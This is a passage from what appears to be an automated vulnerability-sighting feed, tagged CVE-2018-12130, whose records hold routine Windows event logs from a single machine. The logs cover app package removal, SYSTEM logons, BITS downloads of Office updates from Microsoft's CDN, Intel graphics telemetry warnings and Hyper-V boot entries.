deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12130", "author": {"login": "automation"}}, {"uuid": "8d168bbc-effa-4b1c-99d5-676f344f0815", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:10:31.014382+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/ea7a2ba5bd2b594e36f0bfcb053af294", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations 